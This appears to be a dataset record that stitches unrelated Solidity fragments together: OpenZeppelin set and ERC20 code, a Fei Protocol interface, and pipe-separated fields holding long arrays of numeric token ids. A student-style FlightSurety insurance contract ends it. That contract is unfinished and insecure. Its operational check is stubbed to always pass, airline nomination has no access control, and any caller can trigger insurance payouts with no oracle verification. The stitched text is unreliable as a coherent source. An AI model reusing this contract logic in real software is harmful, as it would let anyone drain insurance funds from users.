// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastValue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastValue;
// Update the index for the moved value
set._indexes[lastValue] = valueIndex; // Replace lastValue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC20.sol";
import "../../../utils/Context.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
/// @title incentive contract interface
/// @author Fei Protocol
/// @notice Called by FEI token contract when transferring with an incentivized address
/// @dev should be appointed as a Minter or Burner as needed
interface IIncentive {
// ----------- Fei only state changing api -----------
/// @notice apply incentives on transfer
/// @param sender the sender address of the FEI
/// @param receiver the receiver address of the FEI
/// @param operator the operator (msg.sender) of the transfer
/// @param amount the amount of FEI transferred
function incentivize(
address sender,
address receiver,
address operator,
uint256 amount
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
|
@notice checks if address is a governor @param _address address to check @return true _address is a governor only virtual for testing mock override
|
function isGovernor(address _address) public view virtual override returns (bool) {
return hasRole(GOVERN_ROLE, _address);
}
| 9,856,233 |
[
1,
12366,
309,
1758,
353,
279,
314,
1643,
29561,
225,
389,
2867,
1758,
358,
866,
327,
638,
389,
2867,
353,
279,
314,
1643,
29561,
1338,
5024,
364,
7769,
5416,
3849,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
353,
43,
1643,
29561,
12,
2867,
389,
2867,
13,
1071,
1476,
5024,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
327,
28335,
12,
43,
12959,
50,
67,
16256,
16,
389,
2867,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0x57874914d81361805C7B6Fe1BCe8b02067A55673/sources/contracts/FireBirdZap.sol
|
[input -> output] => fireBird pair
|
mapping(address => mapping(address => address[])) public fireBirdPairs;
| 4,732,781 |
[
1,
63,
2630,
317,
876,
65,
516,
4452,
38,
6909,
3082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
1758,
8526,
3719,
1071,
4452,
38,
6909,
10409,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.11;
// It's important to avoid vulnerabilities due to numeric overflow bugs
// OpenZeppelin's SafeMath library, when used correctly, protects agains such bugs
// More info: https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/november/smart-contract-insecurity-bad-arithmetic/
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
/************************************************** */
/* FlightSurety Smart Contract */
/************************************************** */
contract FlightSuretyApp {
address dataContract; // Address of data contract
FsData fsData; // Instance of data contract used to call into it.
using SafeMath for uint256; // Allow SafeMath functions to be called for all uint256 types (similar to "prototype" in Javascript)
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
// Flight status codees, used later as mock
uint8 private constant STATUS_CODE_UNKNOWN = 0;
uint8 private constant STATUS_CODE_ON_TIME = 10;
uint8 private constant STATUS_CODE_LATE_AIRLINE = 20;
uint8 private constant STATUS_CODE_LATE_WEATHER = 30;
uint8 private constant STATUS_CODE_LATE_TECHNICAL = 40;
uint8 private constant STATUS_CODE_LATE_OTHER = 50;
address private contractOwner; // Account used to deploy contract
struct Flight {
bool isRegistered;
uint8 statusCode;
uint256 updatedTimestamp;
address airline;
}
mapping(bytes32 => Flight) private flights;
uint buyIn = 10 ether; // 10 ether to buy into the registration
uint public currentVotesNeeded;
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
// TODO: Modify to call data contract's status
require(true, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
modifier requireMaxEther() //TODO: make this a constant instead of a hard coded number
{
require(msg.value <= 1 ether, "Cannot insure for more than 1 ether of value.");
_;
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
// Define a modifier that checks if they have sent enough to buy in. Returns change if they have
// sent more than is required.
modifier paidEnough() {
uint _buyIn = buyIn;
require(msg.value >= _buyIn,"Have not satisfied the buy-in amount.");
uint amountToReturn = msg.value - _buyIn;
msg.sender.transfer(amountToReturn);
_;
}
/********************************************************************************************/
/* CONSTRUCTOR */
/********************************************************************************************/
/**
* @dev Contract constructor
* TODO: Need to modify this so that the first airline is registered on the contact being
* initialized.
*/
constructor (address dataContract) public
{
fsData = FsData(dataContract);
contractOwner = msg.sender;
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
function isOperational()
public
pure
returns(bool)
{
return true; // TODO: Modify to call data contract's status
}
function calcVotesNeeded(uint memberCount) public returns(uint) {
uint denom = 2; // 50%
uint num = memberCount;
uint votesNeeded;
if (num.mod(denom) > 0) {
votesNeeded = num.div(denom) + 1;
} else {
votesNeeded = num.div(denom);
}
return votesNeeded;
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
//TODO: only exisiting airlines should be able to nominate a new airline
function nominateAirline(address account, string calldata airlineName)
external //TODO: constrain to only airlines being able to nominate an airline.
{
bool isRegistered = fsData.isAirlineRegistered(account);
require(!fsData.isAirlineApproved(account), "Airline is already registered and approved.");
address nominatingAirline = msg.sender;
if(isRegistered){
require(!fsData.hasVoted(nominatingAirline,account), "This is a duplicate vote.");
fsData.nominateAirline(nominatingAirline, account);
} else {
fsData.registerAirline(account, airlineName, false, msg.sender); // register a new airline but do not approve
}
}
// application counterpart to data contract where data on policies is stored.
function insureFlight (address account, string calldata flightNumber, uint flightTimestamp)
requireMaxEther()
external
payable
{
bytes32 fKey = fsData.getFlightKey(account,flightNumber,flightTimestamp);
bool hasPolicy = fsData.hasFlightPolicy(account, fKey);
require(hasPolicy == false, "Flight has already been insured for this account.");
fsData.buy(account, flightNumber, msg.value, fKey);
}
function creditPassenger (address account, bytes32 flightKey) external {
require(fsData.hasFlightPolicy(account, flightKey),"This flight is not insured for this account");
// TODO: Check with the oracles to see if flight can be credited
// Determine the amount of insurance that was placed on this flight by this passenger
( , ,uint iAmount, , ) = fsData.getPolicy(account, flightKey);
// Use safemath to determin the payout based on the constant payout amount
uint payout = iAmount.div(4).mul(6); //TODO: make this so it isn't hard coded into the contract and instead use a constant
// Call creditInsuree() passing along the account, flightkey, and the payout amount calculated here.
fsData.creditInsuree(account, payout, flightKey);
}
/** Register Airline
* @dev Add an airline to the registration queue
* first four airlines can register themselves, subsequent airlines need to be voted in.
*/
